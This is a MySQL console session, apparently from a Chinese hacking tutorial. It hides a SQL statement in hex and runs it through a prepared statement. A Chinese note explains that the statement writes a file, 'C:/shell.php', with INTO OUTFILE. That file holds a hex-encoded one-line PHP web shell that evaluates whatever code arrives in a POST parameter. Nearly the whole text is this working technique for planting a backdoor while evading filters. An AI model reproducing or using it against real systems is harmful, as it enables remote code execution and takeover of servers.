mysql> use
xssdb;
Database changed

mysql> set
@a=0x73656C6563742030783343334637303638373032303430363537363631364332
38323435463530344635333534354232373633364436343237354432393342334633452066726F6D
20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70687027;
Query
OK, 0 rows affected (0.00 sec)

mysql> prepare cmd
from @a;
Query OK, 0 rows affected (0.00 sec)
Statement
prepared

mysql> execute
cmd;
Query OK, 1 row affected (0.00 sec)

上面加密的十六进制是：

select
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from xss limit 1
into outfile 'C:/shell.php'